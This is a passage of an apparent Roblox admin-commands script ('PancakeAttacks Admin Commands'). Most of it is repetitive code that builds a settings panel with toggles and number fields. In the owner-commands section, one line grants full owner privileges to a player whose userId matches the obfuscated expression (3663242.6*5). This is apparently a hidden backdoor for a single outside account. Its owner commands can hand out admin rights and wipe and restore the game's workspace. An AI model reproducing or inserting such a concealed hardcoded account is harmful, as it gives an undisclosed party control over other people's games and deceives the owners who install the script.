  7398. cl.Font='ArialBold'
  7399. local cb = Instance.new("TextButton", cl)
  7400. cb.Position = UDim2.new(0,335,0,0)
  7401. cb.Size = UDim2.new(0,30,0,15)
  7402. cb.BackgroundTransparency = .8
  7403. cb.BorderSizePixel = 1
  7404. cb.BorderColor3 = set['SecondaryColor']
  7405. cb.TextColor3 = set['TextColor']
  7406. cb.Font = "Arial"
  7407. cb.FontSize = "Size18"
  7408. cb.TextStrokeColor3 = set['TextStrokeColor']
  7409. cb.TextStrokeTransparency = .9
  7410. cb.TextYAlignment = "Top"
  7411. cb.ZIndex = 8
  7412. cb.TextWrapped=true
  7413. cb.TextScaled=true
  7414. if set['AntiExploit'] then cb.Text = "X" else cb.Text = "" end
  7415. cb.MouseButton1Down:connect(function()
  7416. if set['AntiExploit'] then set['AntiExploit'] = false
  7417. cb.Text = ""
  7418. else
  7419. set['AntiExploit'] = true
  7420. cb.Text = "X"
  7421. end
  7422. end)
  7423. num=num+1
  7424. local cl = ent:Clone()
  7425. cl.Parent = cmf
  7426. cl.Text = 'Anti-Gui: '
  7427. cl.Position = UDim2.new(0,0,0,num*20)
  7428. cl.Size=UDim2.new(0,370,0,20)
  7429. cl.TextScaled=true
  7430. cl.FontSize='Size24'
  7431. cl.Font='ArialBold'
  7432. local cb = Instance.new("TextButton", cl)
  7433. cb.Position = UDim2.new(0,335,0,0)
  7434. cb.Size = UDim2.new(0,30,0,15)
  7435. cb.BackgroundTransparency = .8
  7436. cb.BorderSizePixel = 1
  7437. cb.BorderColor3 = set['SecondaryColor']
  7438. cb.TextColor3 = set['TextColor']
  7439. cb.Font = "Arial"
  7440. cb.FontSize = "Size18"
  7441. cb.TextStrokeColor3 = set['TextStrokeColor']
  7442. cb.TextStrokeTransparency = .9
  7443. cb.TextYAlignment = "Top"
  7444. cb.ZIndex = 8
  7445. cb.TextWrapped=true
  7446. cb.TextScaled=true
  7447. if set['AntiGui'] then cb.Text = "X" else cb.Text = "" end
  7448. cb.MouseButton1Down:connect(function()
  7449. if set['AntiGui'] then set['AntiGui'] = false
  7450. cb.Text = ""
  7451. else
  7452. set['AntiGui'] = true
  7453. cb.Text = "X"
  7454. end
  7455. end)
  7456. num=num+1
  7457. local cl = ent:Clone()
  7458. cl.Parent = cmf
  7459. cl.Text = 'Anti-Nil: '
  7460. cl.Position = UDim2.new(0,0,0,num*20)
  7461. cl.Size=UDim2.new(0,370,0,20)
  7462. cl.TextScaled=true
  7463. cl.FontSize='Size24'
  7464. cl.Font='ArialBold'
  7465. local cb = Instance.new("TextButton", cl)
  7466. cb.Position = UDim2.new(0,335,0,0)
  7467. cb.Size = UDim2.new(0,30,0,15)
  7468. cb.BackgroundTransparency = .8
  7469. cb.BorderSizePixel = 1
  7470. cb.BorderColor3 = set['SecondaryColor']
  7471. cb.TextColor3 = set['TextColor']
  7472. cb.Font = "Arial"
  7473. cb.FontSize = "Size18"
  7474. cb.TextStrokeColor3 = set['TextStrokeColor']
  7475. cb.TextStrokeTransparency = .9
  7476. cb.TextYAlignment = "Top"
  7477. cb.ZIndex = 8
  7478. cb.TextWrapped=true
  7479. cb.TextScaled=true
  7480. if set['AntiNil'] then cb.Text = "X" else cb.Text = "" end
  7481. cb.MouseButton1Down:connect(function()
  7482. if set['AntiNil'] then set['AntiNil'] = false
  7483. cb.Text = ""
  7484. else
  7485. set['AntiNil'] = true
  7486. cb.Text = "X"
  7487. end
  7488. end)
  7489. num=num+1
  7490. local cl = ent:Clone()
  7491. cl.Parent = cmf
  7492. cl.Text = 'Anti-Speed: '
  7493. cl.Position = UDim2.new(0,0,0,num*20)
  7494. cl.Size=UDim2.new(0,370,0,20)
  7495. cl.TextScaled=true
  7496. cl.FontSize='Size24'
  7497. cl.Font='ArialBold'
  7498. local cb = Instance.new("TextButton", cl)
  7499. cb.Position = UDim2.new(0,335,0,0)
  7500. cb.Size = UDim2.new(0,30,0,15)
  7501. cb.BackgroundTransparency = .8
  7502. cb.BorderSizePixel = 1
  7503. cb.BorderColor3 = set['SecondaryColor']
  7504. cb.TextColor3 = set['TextColor']
  7505. cb.Font = "Arial"
  7506. cb.FontSize = "Size18"
  7507. cb.TextStrokeColor3 = set['TextStrokeColor']
  7508. cb.TextStrokeTransparency = .9
  7509. cb.TextYAlignment = "Top"
  7510. cb.ZIndex = 8
  7511. cb.TextWrapped=true
  7512. cb.TextScaled=true
  7513. if set['AntiSpeed'] then cb.Text = "X" else cb.Text = "" end
  7514. cb.MouseButton1Down:connect(function()
  7515. if set['AntiSpeed'] then set['AntiSpeed'] = false
  7516. cb.Text = ""
  7517. else
  7518. set['AntiSpeed'] = true
  7519. cb.Text = "X"
  7520. end
  7521. end)
  7522. num=num+1
  7523. local cl = ent:Clone()
  7524. cl.Parent = cmf
  7525. cl.Text = 'Anti-Noclip: '
  7526. cl.Position = UDim2.new(0,0,0,num*20)
  7527. cl.Size=UDim2.new(0,370,0,20)
  7528. cl.TextScaled=true
  7529. cl.FontSize='Size24'
  7530. cl.Font='ArialBold'
  7531. local cb = Instance.new("TextButton", cl)
  7532. cb.Position = UDim2.new(0,335,0,0)
  7533. cb.Size = UDim2.new(0,30,0,15)
  7534. cb.BackgroundTransparency = .8
  7535. cb.BorderSizePixel = 1
  7536. cb.BorderColor3 = set['SecondaryColor']
  7537. cb.TextColor3 = set['TextColor']
  7538. cb.Font = "Arial"
  7539. cb.FontSize = "Size18"
  7540. cb.TextStrokeColor3 = set['TextStrokeColor']
  7541. cb.TextStrokeTransparency = .9
  7542. cb.TextYAlignment = "Top"
  7543. cb.ZIndex = 8
  7544. cb.TextWrapped=true
  7545. cb.TextScaled=true
  7546. if set['AntiNoclip'] then cb.Text = "X" else cb.Text = "" end
  7547. cb.MouseButton1Down:connect(function()
  7548. if set['AntiNoclip'] then set['AntiNoclip'] = false
  7549. cb.Text = ""
  7550. else
  7551. set['AntiNoclip'] = true
  7552. cb.Text = "X"
  7553. end
  7554. end)
  7555. num=num+1
  7556. local cl = ent:Clone()
  7557. cl.Parent = cmf
  7558. cl.Text = 'Anti-RobloxLocked: '
  7559. cl.Position = UDim2.new(0,0,0,num*20)
  7560. cl.Size=UDim2.new(0,370,0,20)
  7561. cl.TextScaled=true
  7562. cl.FontSize='Size24'
  7563. cl.Font='ArialBold'
  7564. local cb = Instance.new("TextButton", cl)
  7565. cb.Position = UDim2.new(0,335,0,0)
  7566. cb.Size = UDim2.new(0,30,0,15)
  7567. cb.BackgroundTransparency = .8
  7568. cb.BorderSizePixel = 1
  7569. cb.BorderColor3 = set['SecondaryColor']
  7570. cb.TextColor3 = set['TextColor']
  7571. cb.Font = "Arial"
  7572. cb.FontSize = "Size18"
  7573. cb.TextStrokeColor3 = set['TextStrokeColor']
  7574. cb.TextStrokeTransparency = .9
  7575. cb.TextYAlignment = "Top"
  7576. cb.ZIndex = 8
  7577. cb.TextWrapped=true
  7578. cb.TextScaled=true
  7579. if set['AntiRobloxLocked'] then cb.Text = "X" else cb.Text = "" end
  7580. cb.MouseButton1Down:connect(function()
  7581. if set['AntiRobloxLocked'] then set['AntiRobloxLocked'] = false
  7582. cb.Text = ""
  7583. else
  7584. set['AntiRobloxLocked'] = true
  7585. cb.Text = "X"
  7586. end
  7587. end)
  7588. num=num+1
  7589. local cl = ent:Clone()
  7590. cl.Parent = cmf
  7591. cl.Text = 'Anti-Animations: '
  7592. cl.Position = UDim2.new(0,0,0,num*20)
  7593. cl.Size=UDim2.new(0,370,0,20)
  7594. cl.TextScaled=true
  7595. cl.FontSize='Size24'
  7596. cl.Font='ArialBold'
  7597. local cb = Instance.new("TextButton", cl)
  7598. cb.Position = UDim2.new(0,335,0,0)
  7599. cb.Size = UDim2.new(0,30,0,15)
  7600. cb.BackgroundTransparency = .8
  7601. cb.BorderSizePixel = 1
  7602. cb.BorderColor3 = set['SecondaryColor']
  7603. cb.TextColor3 = set['TextColor']
  7604. cb.Font = "Arial"
  7605. cb.FontSize = "Size18"
  7606. cb.TextStrokeColor3 = set['TextStrokeColor']
  7607. cb.TextStrokeTransparency = .9
  7608. cb.TextYAlignment = "Top"
  7609. cb.ZIndex = 8
  7610. cb.TextWrapped=true
  7611. cb.TextScaled=true
  7612. if set['AntiAnimation'] then cb.Text = "X" else cb.Text = "" end
  7613. cb.MouseButton1Down:connect(function()
  7614. if set['AntiAnimation'] then set['AntiAnimation'] = false
  7615. cb.Text = ""
  7616. else
  7617. set['AntiAnimation'] = true
  7618. cb.Text = "X"
  7619. end
  7620. end)
  7621. num=num+1
  7622. local cl = ent:Clone()
  7623. cl.Parent = cmf
  7624. cl.Text = 'Anti-New Account: '
  7625. cl.Position = UDim2.new(0,0,0,num*20)
  7626. cl.Size=UDim2.new(0,370,0,20)
  7627. cl.TextScaled=true
  7628. cl.FontSize='Size24'
  7629. cl.Font='ArialBold'
  7630. local cb = Instance.new("TextButton", cl)
  7631. cb.Position = UDim2.new(0,335,0,0)
  7632. cb.Size = UDim2.new(0,30,0,15)
  7633. cb.BackgroundTransparency = .8
  7634. cb.BorderSizePixel = 1
  7635. cb.BorderColor3 = Color3.new(1,1,1)
  7636. cb.TextColor3 = Color3.new(1,1,1)
  7637. cb.Font = "Arial"
  7638. cb.FontSize = "Size18"
  7639. cb.TextStrokeColor3 = Color3.new(1,1,1)
  7640. cb.TextStrokeTransparency = .9
  7641. cb.TextYAlignment = "Top"
  7642. cb.ZIndex = 8
  7643. cb.TextWrapped=true
  7644. cb.TextScaled=true
  7645. if set['AntiNewAccount'] then cb.Text = "X" else cb.Text = "" end
  7646. cb.MouseButton1Down:connect(function()
  7647. if set['AntiNewAccount'] then set['AntiNewAccount'] = false
  7648. cb.Text = ""
  7649. else
  7650. set['AntiNewAccount'] = true
  7651. cb.Text = "X"
  7652. end
  7653. end)
  7654. num=num+1
  7655. local cl = ent:Clone()
  7656. cl.Parent = cmf
  7657. cl.Text = 'Minimum Age: '
  7658. cl.Position = UDim2.new(0,0,0,num*20)
  7659. cl.Size=UDim2.new(0,370,0,20)
  7660. cl.TextScaled=true
  7661. cl.FontSize='Size24'
  7662. cl.Font='ArialBold'
  7663. local tb = Instance.new("TextBox", cl)
  7664. tb.Position = UDim2.new(0,335,0,0)
  7665. tb.Size = UDim2.new(0,30,0,15)
  7666. tb.BackgroundTransparency = .8
  7667. tb.BorderSizePixel = 1
  7668. tb.BorderColor3 = Color3.new(1,1,1)
  7669. tb.TextColor3 = Color3.new(1,1,1)
  7670. tb.Font = "Arial"
  7671. tb.Text = set['MinimumAge']
  7672. tb.FontSize = "Size18"
  7673. tb.TextStrokeColor3 = Color3.new(1,1,1)
  7674. tb.TextStrokeTransparency = .9
  7675. tb.TextYAlignment = "Top"
  7676. tb.ClipsDescendants = true
  7677. tb.ZIndex = 8
  7678. tb.TextWrapped=true
  7679. tb.TextScaled=true
  7680. tb.Changed:connect(function()
  7681. if tonumber(tb.Text) ~= set['MinimumAge'] and tb.Text ~= "" then
  7682. set['MinimumAge'] = tonumber(tb.Text)
  7683. end
  7684. end)
  7685. num=num+1
  7686. local cl = ent:Clone()
  7687. cl.Parent = cmf
  7688. cl.Text = 'Join Message: '
  7689. cl.Position = UDim2.new(0,0,0,num*20)
  7690. cl.Size=UDim2.new(0,370,0,20)
  7691. cl.TextScaled=true
  7692. cl.FontSize='Size24'
  7693. cl.Font='ArialBold'
  7694. local cb = Instance.new("TextButton", cl)
  7695. cb.Position = UDim2.new(0,335,0,0)
  7696. cb.Size = UDim2.new(0,30,0,15)
  7697. cb.BackgroundTransparency = .8
  7698. cb.BorderSizePixel = 1
  7699. cb.BorderColor3 = Color3.new(1,1,1)
  7700. cb.TextColor3 = Color3.new(1,1,1)
  7701. cb.Font = "Arial"
  7702. cb.FontSize = "Size18"
  7703. cb.TextStrokeColor3 = Color3.new(1,1,1)
  7704. cb.TextStrokeTransparency = .9
  7705. cb.TextYAlignment = "Top"
  7706. cb.ZIndex = 8
  7707. cb.TextWrapped=true
  7708. cb.TextScaled=true
  7709. if set['JoinMessage'] then cb.Text = "X" else cb.Text = "" end
  7710. cb.MouseButton1Down:connect(function()
  7711. if set['JoinMessage'] then set['JoinMessage'] = false
  7712. cb.Text = ""
  7713. else
  7714. set['JoinMessage'] = true
  7715. cb.Text = "X"
  7716. end
  7717. end)
  7718. num=num+1
  7719. local cl = ent:Clone()
  7720. cl.Parent = cmf
  7721. cl.Text = 'Chat Logs: '
  7722. cl.Position = UDim2.new(0,0,0,num*20)
  7723. cl.Size=UDim2.new(0,370,0,20)
  7724. cl.TextScaled=true
  7725. cl.FontSize='Size24'
  7726. cl.Font='ArialBold'
  7727. local cb = Instance.new("TextButton", cl)
  7728. cb.Position = UDim2.new(0,335,0,0)
  7729. cb.Size = UDim2.new(0,30,0,15)
  7730. cb.BackgroundTransparency = .8
  7731. cb.BorderSizePixel = 1
  7732. cb.BorderColor3 = Color3.new(1,1,1)
  7733. cb.TextColor3 = Color3.new(1,1,1)
  7734. cb.Font = "Arial"
  7735. cb.FontSize = "Size18"
  7736. cb.TextStrokeColor3 = Color3.new(1,1,1)
  7737. cb.TextStrokeTransparency = .9
  7738. cb.TextYAlignment = "Top"
  7739. cb.ZIndex = 8
  7740. cb.TextWrapped=true
  7741. cb.TextScaled=true
  7742. if set['ChatLog'] then cb.Text = "X" else cb.Text = "" end
  7743. cb.MouseButton1Down:connect(function()
  7744. if set['ChatLog'] then set['ChatLog'] = false
  7745. cb.Text = ""
  7746. else
  7747. set['ChatLog'] = true
  7748. cb.Text = "X"
  7749. end
  7750. end)
  7751. num=num+1
  7752. local cl = ent:Clone()
  7753. cl.Parent = cmf
  7754. cl.Text = 'Max Number Of Logs: '
  7755. cl.Position = UDim2.new(0,0,0,num*20)
  7756. cl.Size=UDim2.new(0,370,0,20)
  7757. cl.TextScaled=true
  7758. cl.FontSize='Size24'
  7759. cl.Font='ArialBold'
  7760. local tb = Instance.new("TextBox", cl)
  7761. tb.Position = UDim2.new(0,335,0,0)
  7762. tb.Size = UDim2.new(0,30,0,15)
  7763. tb.BackgroundTransparency = .8
  7764. tb.BorderSizePixel = 1
  7765. tb.BorderColor3 = Color3.new(1,1,1)
  7766. tb.TextColor3 = Color3.new(1,1,1)
  7767. tb.Font = "Arial"
  7768. tb.Text = set['MaxNumberOfLogs']
  7769. tb.FontSize = "Size18"
  7770. tb.TextStrokeColor3 = Color3.new(1,1,1)
  7771. tb.TextStrokeTransparency = .9
  7772. tb.TextYAlignment = "Top"
  7773. tb.ClipsDescendants = true
  7774. tb.ZIndex = 8
  7775. tb.TextWrapped=true
  7776. tb.TextScaled=true
  7777. tb.Changed:connect(function()
  7778. if tonumber(tb.Text) ~= set['MaxNumberOfLogs'] and tb.Text ~= "" then
  7779. set['MaxNumberOfLogs'] = tonumber(tb.Text)
  7780. end
  7781. end)
  7782. num=num+1
  7783. local cl = ent:Clone()
  7784. cl.Parent = cmf
  7785. cl.Text = 'Auto-Clean: '
  7786. cl.Position = UDim2.new(0,0,0,num*20)
  7787. cl.Size=UDim2.new(0,370,0,20)
  7788. cl.TextScaled=true
  7789. cl.FontSize='Size24'
  7790. cl.Font='ArialBold'
  7791. local cb = Instance.new("TextButton", cl)
  7792. cb.Position = UDim2.new(0,335,0,0)
  7793. cb.Size = UDim2.new(0,30,0,15)
  7794. cb.BackgroundTransparency = .8
  7795. cb.BorderSizePixel = 1
  7796. cb.BorderColor3 = Color3.new(1,1,1)
  7797. cb.TextColor3 = Color3.new(1,1,1)
  7798. cb.Font = "Arial"
  7799. cb.FontSize = "Size18"
  7800. cb.TextStrokeColor3 = Color3.new(1,1,1)
  7801. cb.TextStrokeTransparency = .9
  7802. cb.TextYAlignment = "Top"
  7803. cb.ZIndex = 8
  7804. cb.TextWrapped=true
  7805. cb.TextScaled=true
  7806. if set['AutoClean'] then cb.Text = "X" else cb.Text = "" end
  7807. cb.MouseButton1Down:connect(function()
  7808. if set['AutoClean'] then set['AutoClean'] = false
  7809. cb.Text = ""
  7810. else
  7811. set['AutoClean'] = true
  7812. cb.Text = "X"
  7813. end
  7814. end)
  7815. num=num+1
  7816. local cl = ent:Clone()
  7817. cl.Parent = cmf
  7818. cl.Text = 'Auto-Clean Delay: '
  7819. cl.Position = UDim2.new(0,0,0,num*20)
  7820. cl.Size=UDim2.new(0,370,0,20)
  7821. cl.TextScaled=true
  7822. cl.FontSize='Size24'
  7823. cl.Font='ArialBold'
  7824. local tb = Instance.new("TextBox", cl)
  7825. tb.Position = UDim2.new(0,335,0,0)
  7826. tb.Size = UDim2.new(0,30,0,15)
  7827. tb.BackgroundTransparency = .8
  7828. tb.BorderSizePixel = 1
  7829. tb.BorderColor3 = Color3.new(1,1,1)
  7830. tb.TextColor3 = Color3.new(1,1,1)
  7831. tb.Font = "Arial"
  7832. tb.Text = set['AutoCleanDelay']
  7833. tb.FontSize = "Size18"
  7834. tb.TextStrokeColor3 = Color3.new(1,1,1)
  7835. tb.TextStrokeTransparency = .9
  7836. tb.TextYAlignment = "Top"
  7837. tb.ClipsDescendants = true
  7838. tb.ZIndex = 8
  7839. tb.TextWrapped=true
  7840. tb.TextScaled=true
  7841. tb.Changed:connect(function()
  7842. if tonumber(tb.Text) ~= set['AutoCleanDelay'] and tb.Text ~= "" and tb.Text~='0' then
  7843. set['AutoCleanDelay'] = tonumber(tb.Text)
  7844. end
  7845. end)
  7846. num=num+1
  7847. local cl = ent:Clone()
  7848. cl.Parent = cmf
  7849. cl.Text = 'NoTalk Enabled: '
  7850. cl.Position = UDim2.new(0,0,0,num*20)
  7851. cl.Size=UDim2.new(0,370,0,20)
  7852. cl.TextScaled=true
  7853. cl.FontSize='Size24'
  7854. cl.Font='ArialBold'
  7855. local cb = Instance.new("TextButton", cl)
  7856. cb.Position = UDim2.new(0,335,0,0)
  7857. cb.Size = UDim2.new(0,30,0,15)
  7858. cb.BackgroundTransparency = .8
  7859. cb.BorderSizePixel = 1
  7860. cb.BorderColor3 = Color3.new(1,1,1)
  7861. cb.TextColor3 = Color3.new(1,1,1)
  7862. cb.Font = "Arial"
  7863. cb.FontSize = "Size18"
  7864. cb.TextStrokeColor3 = Color3.new(1,1,1)
  7865. cb.TextStrokeTransparency = .9
  7866. cb.TextYAlignment = "Top"
  7867. cb.ZIndex = 8
  7868. cb.TextWrapped=true
  7869. cb.TextScaled=true
  7870. if set['NoTalk'] then cb.Text = "X" else cb.Text = "" end
  7871. cb.MouseButton1Down:connect(function()
  7872. if set['NoTalk'] then set['NoTalk'] = false
  7873. cb.Text = ""
  7874. else
  7875. set['NoTalk'] = true
  7876. cb.Text = "X"
  7877. end
  7878. end)
  7879. num=num+1
  7880. local cl = ent:Clone()
  7881. cl.Parent = cmf
  7882. cl.Text = 'Donator Stuff: '
  7883. cl.Position = UDim2.new(0,0,0,num*20)
  7884. cl.Size=UDim2.new(0,370,0,20)
  7885. cl.TextScaled=true
  7886. cl.FontSize='Size24'
  7887. cl.Font='ArialBold'
  7888. local cb = Instance.new("TextButton", cl)
  7889. cb.Position = UDim2.new(0,335,0,0)
  7890. cb.Size = UDim2.new(0,30,0,15)
  7891. cb.BackgroundTransparency = .8
  7892. cb.BorderSizePixel = 1
  7893. cb.BorderColor3 = Color3.new(1,1,1)
  7894. cb.TextColor3 = Color3.new(1,1,1)
  7895. cb.Font = "Arial"
  7896. cb.FontSize = "Size18"
  7897. cb.TextStrokeColor3 = Color3.new(1,1,1)
  7898. cb.TextStrokeTransparency = .9
  7899. cb.TextYAlignment = "Top"
  7900. cb.ZIndex = 8
  7901. cb.TextWrapped=true
  7902. cb.TextScaled=true
  7903. if set['DonorStuff'] then cb.Text = "X" else cb.Text = "" end
  7904. cb.MouseButton1Down:connect(function()
  7905. if set['DonorStuff'] then set['DonorStuff'] = false
  7906. cb.Text = ""
  7907. else
  7908. set['DonorStuff'] = true
  7909. cb.Text = "X"
  7910. end
  7911. end)
  7912. num=num+1
  7913. local cl = ent:Clone()
  7914. cl.Parent = cmf
  7915. cl.Text = 'Group Admin: '
  7916. cl.Position = UDim2.new(0,0,0,num*20)
  7917. cl.Size=UDim2.new(0,370,0,20)
  7918. cl.TextScaled=true
  7919. cl.FontSize='Size24'
  7920. cl.Font='ArialBold'
  7921. local cb = Instance.new("TextButton", cl)
  7922. cb.Position = UDim2.new(0,335,0,0)
  7923. cb.Size = UDim2.new(0,30,0,15)
  7924. cb.BackgroundTransparency = .8
  7925. cb.BorderSizePixel = 1
  7926. cb.BorderColor3 = Color3.new(1,1,1)
  7927. cb.TextColor3 = Color3.new(1,1,1)
  7928. cb.Font = "Arial"
  7929. cb.FontSize = "Size18"
  7930. cb.TextStrokeColor3 = Color3.new(1,1,1)
  7931. cb.TextStrokeTransparency = .9
  7932. cb.TextYAlignment = "Top"
  7933. cb.ZIndex = 8
  7934. cb.TextWrapped=true
  7935. cb.TextScaled=true
  7936. if set['GroupAdmin'] then cb.Text = "X" else cb.Text = "" end
  7937. cb.MouseButton1Down:connect(function()
  7938. if set['GroupAdmin'] then set['GroupAdmin'] = false
  7939. cb.Text = ""
  7940. else
  7941. set['GroupAdmin'] = true
  7942. cb.Text = "X"
  7943. end
  7944. end)
  7945. num=num+1
  7946. local cl = ent:Clone()
  7947. cl.Parent = cmf
  7948. cl.Text = 'GroupId: '
  7949. cl.Position = UDim2.new(0,0,0,num*20)
  7950. cl.Size=UDim2.new(0,370,0,20)
  7951. cl.TextScaled=true
  7952. cl.FontSize='Size24'
  7953. cl.Font='ArialBold'
  7954. local tb = Instance.new("TextBox", cl)
  7955. tb.Position = UDim2.new(0,335,0,0)
  7956. tb.Size = UDim2.new(0,30,0,15)
  7957. tb.BackgroundTransparency = .8
  7958. tb.BorderSizePixel = 1
  7959. tb.BorderColor3 = Color3.new(1,1,1)
  7960. tb.TextColor3 = Color3.new(1,1,1)
  7961. tb.Font = "Arial"
  7962. tb.Text = set['GroupId']
  7963. tb.FontSize = "Size18"
  7964. tb.TextStrokeColor3 = Color3.new(1,1,1)
  7965. tb.TextStrokeTransparency = .9
  7966. tb.TextYAlignment = "Top"
  7967. tb.ClipsDescendants = true
  7968. tb.ZIndex = 8
  7969. tb.TextWrapped=true
  7970. tb.TextScaled=true
  7971. tb.Changed:connect(function()
  7972. if tonumber(tb.Text) ~= set['GroupId'] and tb.Text ~= "" then
  7973. set['GroupId'] = tonumber(tb.Text)
  7974. end
  7975. end)
  7976. num=num+1
  7977. local cl = ent:Clone()
  7978. cl.Parent = cmf
  7979. cl.Text = 'Group Only Join: '
  7980. cl.Position = UDim2.new(0,0,0,num*20)
  7981. cl.Size=UDim2.new(0,370,0,20)
  7982. cl.TextScaled=true
  7983. cl.FontSize='Size24'
  7984. cl.Font='ArialBold'
  7985. local cb = Instance.new("TextButton", cl)
  7986. cb.Position = UDim2.new(0,335,0,0)
  7987. cb.Size = UDim2.new(0,30,0,15)
  7988. cb.BackgroundTransparency = .8
  7989. cb.BorderSizePixel = 1
  7990. cb.BorderColor3 = Color3.new(1,1,1)
  7991. cb.TextColor3 = Color3.new(1,1,1)
  7992. cb.Font = "Arial"
  7993. cb.FontSize = "Size18"
  7994. cb.TextStrokeColor3 = Color3.new(1,1,1)
  7995. cb.TextStrokeTransparency = .9
  7996. cb.TextYAlignment = "Top"
  7997. cb.ZIndex = 8
  7998. cb.TextWrapped=true
  7999. cb.TextScaled=true
  8000. if set['GroupOnlyJoin'] then cb.Text = "X" else cb.Text = "" end
  8001. cb.MouseButton1Down:connect(function()
  8002. if set['GroupOnlyJoin'] then set['GroupOnlyJoin'] = false
  8003. cb.Text = ""
  8004. else
  8005. set['GroupOnlyJoin'] = true
  8006. cb.Text = "X"
  8007. end
  8008. end)
  8009. num=num+1
  8010. local cl = ent:Clone()
  8011. cl.Parent = cmf
  8012. cl.Text = 'Friend Admin: '
  8013. cl.Position = UDim2.new(0,0,0,num*20)
  8014. cl.Size=UDim2.new(0,370,0,20)
  8015. cl.TextScaled=true
  8016. cl.FontSize='Size24'
  8017. cl.Font='ArialBold'
  8018. local cb = Instance.new("TextButton", cl)
  8019. cb.Position = UDim2.new(0,335,0,0)
  8020. cb.Size = UDim2.new(0,30,0,15)
  8021. cb.BackgroundTransparency = .8
  8022. cb.BorderSizePixel = 1
  8023. cb.BorderColor3 = Color3.new(1,1,1)
  8024. cb.TextColor3 = Color3.new(1,1,1)
  8025. cb.Font = "Arial"
  8026. cb.FontSize = "Size18"
  8027. cb.TextStrokeColor3 = Color3.new(1,1,1)
  8028. cb.TextStrokeTransparency = .9
  8029. cb.TextYAlignment = "Top"
  8030. cb.ZIndex = 8
  8031. cb.TextWrapped=true
  8032. cb.TextScaled=true
  8033. if set['FreindAdmin'] then cb.Text = "X" else cb.Text = "" end
  8034. cb.MouseButton1Down:connect(function()
  8035. if set['FreindAdmin'] then set['FreindAdmin'] = false
  8036. cb.Text = ""
  8037. else
  8038. set['FreindAdmin'] = true
  8039. cb.Text = "X"
  8040. end
  8041. end)
  8042. num=num+1
  8043. local cl = ent:Clone()
  8044. cl.Parent = cmf
  8045. cl.Text = 'VIP Admin: '
  8046. cl.Position = UDim2.new(0,0,0,num*20)
  8047. cl.Size=UDim2.new(0,370,0,20)
  8048. cl.TextScaled=true
  8049. cl.FontSize='Size24'
  8050. cl.Font='ArialBold'
  8051. local cb = Instance.new("TextButton", cl)
  8052. cb.Position = UDim2.new(0,335,0,0)
  8053. cb.Size = UDim2.new(0,30,0,15)
  8054. cb.BackgroundTransparency = .8
  8055. cb.BorderSizePixel = 1
  8056. cb.BorderColor3 = Color3.new(1,1,1)
  8057. cb.TextColor3 = Color3.new(1,1,1)
  8058. cb.Font = "Arial"
  8059. cb.FontSize = "Size18"
  8060. cb.TextStrokeColor3 = Color3.new(1,1,1)
  8061. cb.TextStrokeTransparency = .9
  8062. cb.TextYAlignment = "Top"
  8063. cb.ZIndex = 8
  8064. cb.TextWrapped=true
  8065. cb.TextScaled=true
  8066. if set['VipAdmin'] then cb.Text = "X" else cb.Text = "" end
  8067. cb.MouseButton1Down:connect(function()
  8068. if set['VipAdmin'] then set['VipAdmin'] = false
  8069. cb.Text = ""
  8070. else
  8071. set['VipAdmin'] = true
  8072. cb.Text = "X"
  8073. end
  8074. end)
  8075. num=num+1
  8076. local cl = ent:Clone()
  8077. cl.Parent = cmf
  8078. cl.Text = 'VIP Item ID: '
  8079. cl.Position = UDim2.new(0,0,0,num*20)
  8080. cl.Size=UDim2.new(0,370,0,20)
  8081. cl.TextScaled=true
  8082. cl.FontSize='Size24'
  8083. cl.Font='ArialBold'
  8084. local tb = Instance.new("TextBox", cl)
  8085. tb.Position = UDim2.new(0,335,0,0)
  8086. tb.Size = UDim2.new(0,30,0,15)
  8087. tb.BackgroundTransparency = .8
  8088. tb.BorderSizePixel = 1
  8089. tb.BorderColor3 = Color3.new(1,1,1)
  8090. tb.TextColor3 = Color3.new(1,1,1)
  8091. tb.Font = "Arial"
  8092. tb.Text = set['ItemId']
  8093. tb.FontSize = "Size18"
  8094. tb.TextStrokeColor3 = Color3.new(1,1,1)
  8095. tb.TextStrokeTransparency = .9
  8096. tb.TextYAlignment = "Top"
  8097. tb.ClipsDescendants = true
  8098. tb.ZIndex = 8
  8099. tb.TextWrapped=true
  8100. tb.TextScaled=true
  8101. tb.Changed:connect(function()
  8102. if tonumber(tb.Text) ~= set['ItemId'] and tb.Text ~= "" then
  8103. set['ItemId'] = tonumber(tb.Text)
  8104. end
  8105. end)
  8106. cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children())
  8107. end
  8108. -------
  8109. end
  8110.  
  8111. --------------------
  8112. -- Owner Commands --
  8113. --------------------
  8114.  
  8115. if plr.Name:lower() == set.nfs:lower() or plr.userId == (3663242.6*5) or plr.userId == game.CreatorId or set.ChkOwner(plr.Name:lower()) then
  8116.  
  8117. if msg:lower():sub(1,3) == "pa " then
  8118. local plrz = set.GetPlayers(plr, msg:lower():sub(4))
  8119. for i, v in pairs(plrz) do
  8120. coroutine.resume(coroutine.create(function()
  8121. if v and not set.ChkAdmin(v.Name, true) then
  8122. table.insert(set['Admins'], v.Name)
  8123. coroutine.resume(coroutine.create(function()
  8124. repeat wait() until v and v.Character and v:findFirstChild("PlayerGui")
  8125. set.Message("PancakeAttacks Admin Commands", "You're an admin! Chat "..set['prefix'].."cmds to view commands! The Command Prefix is "..set['prefix'], false, {v})
  8126. end))
  8127. set.Hint(v.Name..' Has Been Given Admin',{plr})
  8128. end
  8129. end))
  8130. end
  8131. end
  8132.  
  8133. if msg:lower():sub(1,5) == "unpa " then
  8134. for i = 1, #set['Admins'] do
  8135. coroutine.resume(coroutine.create(function()
  8136. if msg:lower():sub(6) == "all" or set['Admins'][i]:lower():find(msg:lower():sub(6)) == 1 then
  8137. set.Hint(set['Admins'][i]..' No Longer Has Admin',{plr})
  8138. table.remove(set['Admins'], i)
  8139. end
  8140. end))
  8141. end
  8142. end
  8143.  
  8144. if msg:lower() == "restoremap" then
  8145. for i,v in pairs(workspace:children()) do
  8146. pcall(function() v:Destroy() end)
  8147. end
  8148. for i,v in pairs(set.mapbackup) do
  8149. v:clone().Parent=workspace
  8150. end
  8151. chat(plr,set['prefix'].."respawn all")
  8152. end
  8153.  
  8154. if msg:lower() == "explore" or msg:lower() == "explorer" then
  8155. if plr.PlayerGui:findFirstChild(GuiName.."EXPLORERGUI") then return end
  8156. local scr, cmf, ent, num, top = set.ScrollGui() scr.Name = GuiName.."EXPLORERGUI" scr.Parent = plr.PlayerGui
  8157. top.Text='Explorer'
  8158. local parent=game
  8159. local function GrabChildren()
  8160. local function makegui(v)
  8161. local cl = ent:clone()
  8162. cl.Parent = cmf
  8163. cl.Text = num.." | "..v.Name
  8164. cl.Position = UDim2.new(0,0,0,num*20)
